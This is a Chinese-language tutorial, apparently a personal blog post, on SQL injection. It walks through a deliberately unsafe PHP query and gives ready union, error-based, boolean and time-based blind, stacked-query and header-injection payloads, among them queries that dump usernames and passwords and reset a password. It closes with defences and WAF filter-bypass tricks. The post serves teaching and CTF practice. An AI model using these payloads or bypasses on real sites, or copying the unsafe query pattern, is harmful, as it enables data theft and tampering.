SQL 注入原理 & 解题思路 & 防御

SQL 注入原理及解题思路

前一段时间碰到一些SQL注入类型的题,发现还是不熟练,有些知识遗忘了,然后就想着做个总结回顾一下,顺便分享给大家关于SQL注入的知识,能力有限,大佬们勿喷*

(๑• ₃ •๑)

一、SQL 注入简介

SQL 注入攻击就是将恶意的 SQL 语句插入到 web 应用的输入参数中,提交到后台服务器解析,从而执行攻击,SQL 注入是网站存在最多的也是最简单的漏洞。主要原因就是程序员在用户和数据库交互的地方没有对用户输入的字符串进行过滤和转义,导致用户可以自己构造字符串去非法获取改动数据库中的数据。

二、SQL 注入原理

以我自己做的一个前端项目为例,在大二的 web 期末项目里面,我利用 PHP 做的简单后端与数据库连接,并没有对代码进行安全防护,我就拿它作为例子吧

<?php
$c=$_POST["name"];
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "mydb";
// echo "<script>alert("$c");</script>";
// 创建连接
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

//查询数据库
mysqli_query($conn, 'set names utf8');
$sql = "SELECT * FROM `xxx` WHERE id=$c "; //关键就在这一句,这是数据库要执行的SQL语句
$result = $conn->query($sql);

if ($result->num_rows > 0) {//判断查询结果行数
    // 输出数据
    while($row = $result->fetch_assoc()) {//从结果集中取出一行作为关联数组
      
        echo json_encode($row,JSON_UNESCAPED_UNICODE).' ';//转化为json串传输
    }
} else {
    echo "0 结果";
}
$conn->close();

?>

代码前一部分是获取参数和数据库的连接,数据库要执行的语句是

$sql = "SELECT * FROM `xxx` WHERE id=$c ";

$c 是前端链接传的参数转化,对 $c 的输入我并没有进行任何的过滤和限制,所以用户可以通过控制 $c 来对我的数据库进行攻击

用户会发现我是利用传参的方法提交到后台处理显示的,完全可以利用这个点进行攻击,方式如下

?name=1 order by 5

正常显示

?name=1 order by 8

出现问题,就能确定列数为 7,那我们就可以按正常步骤一套带走了

?name=1 and 1=2 union select 1,2,3,4,5,6,7

我们利用联合查询就看到了回显点,继续搞

?name=1 and 1=2 union select database(),2,3,4,5,6,7 //爆出库名为mydb
?name=1 and 1=2 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema='mydb' //爆出表名user_account,xx,xxx,xxxx
?name=1 and 1=2 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_name='user_account' //爆出列名username,password,id,email,tel,sex,我们目标为管理员密码
?name=1 and 1=2 union select group_concat(username,'~',password),2,3,4,5,6,7 from user_account//ok,获取到所有用户名和密码

我们就得到了所有用户名和密码,我们就可以尝试登一下后台

OK,成功登录后台,我做的这个前端项目只是为了应对期末作业,所以后台做的功能并不多,这里只是做原理展示,我们可以发现,如果开发者对用户输入的内容不进行过滤和防护,那么数据库的所有信息都会暴露在攻击者面前。SQL 注入的原理就是构造 SQL 语句,进行攻击执行。越是功能复杂的 web 应用就越可能会出现某些参数点的 SQL 注入点,所以,程序员形成正确的代码规范意识和安全意识非常重要,SQL 注入的危害是十分巨大的。

三、SQL 注入常见形式

数值型注入

就像我做的那个项目一样,接受的参数为整型,一般存在于 id,年龄,页码,新闻等。

$sql = "SELECT * FROM `xxx` WHERE id=$c ";

数值型的后台是这样处理的,接收的为整型。

** 检测方式:** 在 url 输入

and 1=1 / and 1=2 //查看回显界面判断,如果and 1=1 正常and 1=2异常则是数值型注入

各自执行如下

SELECT * FROM `xxx` WHERE id=1 and 1=1; //逻辑正确,返回正常
SELECT * FROM `xxx` WHERE id=1 and 1=2;//逻辑错误,返回异常

这样就能判断出有 SQL 数值型注入

解题流程:

1. 判断注入点

2. 猜字段数

1 order by 1 //这样从1往后一直数,直到回显异常,比如8的时候异常,那么字段数就是7

3. 确定显示位

进行联合查询判断显示位,要让前面为错误,才能进行 select

payload:-1 union select 1,2,3.... //写到字段数为止,上面判断的为3的话就写到3

4. 通过显示位注入

如果在上一步在界面中显示了数字,就在对应数字注入,比如回显 3,就把 3 改成注入语句

and 1=2 union select 1,2,database() //爆出数据库名
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='爆出的数据库名'//爆出表名
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='爆出的表名'//爆出列名
and 1=2 union select 1,2,group_concat(字段信息) from 爆出的列名//得到字段信息结果

字符型注入

输入的参数为字符串时,成为字符型注入,字符型 SQL 注入需要闭合。

$sql = "SELECT * FROM `xxx` WHERE id='$c' ";

可以看出 $c 被单引号包裹。我们要注入的话就要去闭合单引号,如果我们想执行 SQL 语句,比如我们想判断字段数,在数值型中我们是 1 order by 5 这样使用的,字符型中的话就要 1'order by 5 --+,url 里面显示的是?id=1' order by 5 --+ 在 SQL 执行那里显示的是

SELECT * FROM `xxx` WHERE id='1' order by 5 --+'

这里 1 后面的单引号将 1 闭合了,这样就和数值型一样了,后面的 --+ 将原语句中的单引号注释了,所以我们就可以这样注入

?id=1'+攻击语句--+ //也可以用#来注释

这样就和数值型注入一样的道理了,还是老方法爆出数据库名,表名,列名和字段信息就行了。

报错注入

SQL 报错注入就是利用了数据库的某些机制,人为创造错误的条件,可以构造错误信息让数据库回显敏感信息到前端界面。

报错注入前提:

1. 页面没有回显位但是有执行错误信息输出位

2. 开启了环境的 webserver 错误显示,比如使用了 mysql_error() 函数,可以返回上一个 mysql 操作产生的文本错误信息。

常用报错注入函数:

1.extractvalue()

extractvalue(xml_frag,xpath_expr) 函数接受两个参数,第一个为 XML 标记内容,也就是查询的内容,第二个为 XPATH 路径,也就是查询的路径。如果没有匹配内容,不管出于何种原因,只要 xpath_expr 有效,并且 xml_frag 由正确嵌套和关闭的元素组成 - 返回空字符串。不区分空元素的匹配和无匹配。但是如果 XPATH 写入错误格式,就会报错,并且返回我们写入的非法内容。
2.updatexml()

最常用的函数,而且比较好记,updatexml(xml_target,xpath_expr,new_xml) 接受三个参数,此函数将 XML 标记的给定片段的单个部分替换为 xml_target 新的 XML 片段 new_xml,然后返回更改的 XML。xml_target 替换的部分 与 xpath_expr 用户提供的 XPath 表达式匹配。如果未 xpath_expr 找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML 片段。所有三个参数都应该是字符串。与 extractvalue() 类似,如果 XPATH 写入错误格式,就会报错,并且返回我们写入的非法内容。

3.floor

floor(x),返回小于或等于 x 的最大整数

报错注入利用方法

公式:

?id=1 and updatexml(1,concat(0x7e,(查询的内容),0x7e),1)

在 concat 里面输入查询语句就可以了

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

布尔盲注

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。源码大概如下面形式。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
	echo "</font>";
}
else 
{
echo '<font size="5" color="#FFFF00">';
}

盲注很麻烦,我们要一个一个的去猜

解题步骤

1. 判断所用的数据库类型

//判断是否是 Mysql数据库
?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
?id=1' and exists(select*from sysobjects) --+

2. 判断数据库名

1:判断当前数据库的长度,利用二分法
例如:
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
 
  大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security

3. 判断表名

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值             
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4. 判断列名

和上面的盲注差不多都是,先确定有几个列名,再确定列名的长度,再一个一个的得到列名

1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
 
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
 
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
 
由此可判断出users表中存在 id、username、password 字段

5. 判断数据信息

同样判断字段信息个数,长度,最后得到信息

ps:盲注手工去打太耗费人工了,我们最好采用一些工具和脚本去进行注入。

时间盲注

也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。
注入方法和布尔盲注差不多,通过时间来猜测所有的信息,例如猜测数据库名
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

HTTP 头注入

注入条件:

能对消息头进行修改,修改的消息头能存入数据库,数据库没有对输入信息过滤

形式:

1.User-Agent 注入: 用户的服务器浏览器版本,有些大型网站会记录这些信息到数据库,这样就可能存在注入。

2.cookie 注入:服务器端记录用户端的状态,可能存在注入

3.reffer 注入:表示此页面是从哪个网页进入的,可能会储存此信息,可能会存在注入

4.xff 注入

这些注入判断出注入点后都可以结合上面的报错注入等方式进行注入。

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如下面语句可以改变密码。
id=1';update users set password='123456' where id=1; --+ 
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

四、SQL 注入的危害

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,脱取数据库中的数据内容(脱库),可获取网站管理员帐号、密码悄无声息的进行对网站后台操作等。
  • 网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行。
  • 网站被挂马:将恶意文件写入数据库,修改数据库字段值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 文件系统操作:列取目录、读取、写入 shell 文件获取 webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。

五、SQL 注入的防御措施

对于 SQL 注入的防御,我们最常用的就是使用过滤用户输入的恶意语句,或者对其进行转义等处理,但这些方法都不能完全的杜绝 sql 注入,就如使用过滤我们很容易就可以对它进行绕过,如使用注释,编码等方式,所以这些方法都不能从根源性防治 sql 注入,所以对于 sql 注入的防御我把它归为下面三类防御:

1. 使用参数化查询, 检查变量数据类型和格式

2. 采用 sq 语句预编译和绑定变量

3. 增强 SQL 数据交互点的过滤处理

当然,sql 注入还有更多的防范措施,可以配合上面三类再针对以下几点进行防范

1. 不要随意开启生产环境中 Webserver 的错误显示,这样一是容易暴露网站的非公开信息,(如 web 根目录),二是容易造成报错注入,如非法入侵者可通过 extractvalue、updataxml 等函数对网站进行报错 sql 注入
2. 做好数据库帐号权限管理,只给访问数据库的 web 应用功能所需的最低权限帐号,不要随意使用 root 账号
3. 严格加密处理用户的机密信息,这样就算攻击者通过 sql 注入的到数据库信息,短时间也无法进行解密读取
4. 使用 WAF 等专业的防护软件系统,毕竟人力有限,总不可能 24 小时盯着数据库等关键服务器,这时候,waf 等防护硬软件将会是我们的第一道防线

常见的过滤绕过办法

1、对于关键字的绕过

如对 and 进行过滤,我们可以尝试:
1. 对于 and,or 的绕过可以尝试一下 &&,||, 异或特殊符号注入
2. 使用注释符绕过,比如: /!and/ uni//on se//lect
3. 大小写绕过: ANd UniOn SeleCt
4. 双关键字绕过:ununionion seselectlect
5. 关键字替换(在关键字中间可插入将会被 WAF 过滤的字符) – 例如 SELECT 可插入变成 a<nd,一旦插入字符被过滤,< 它将作为 and 传递。

6. 空格代替:+ + %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
7. 使用 url、十六进制、Unicode 进行编码